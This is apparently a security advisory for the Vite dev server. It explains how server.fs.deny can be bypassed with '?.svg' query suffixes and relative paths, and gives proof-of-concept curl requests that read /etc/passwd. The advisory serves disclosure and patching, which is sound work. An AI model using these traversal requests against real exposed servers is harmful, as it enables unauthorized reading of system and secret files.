  "title": "Vite allows server.fs.deny to be bypassed with .svg or relative paths",
  "summary": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n#### `.svg`\n\nRequests ending with `.svg` are loaded at this line.\nhttps://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290\nBy adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.\n\nThis bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.\n\n#### relative paths\n\nThe check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).\n\n### PoC\n\n```bash\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\n\nsend request to read `etc/passwd`\n\n```bash\ncurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'\n```\n\n```bash\ncurl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'\n```",
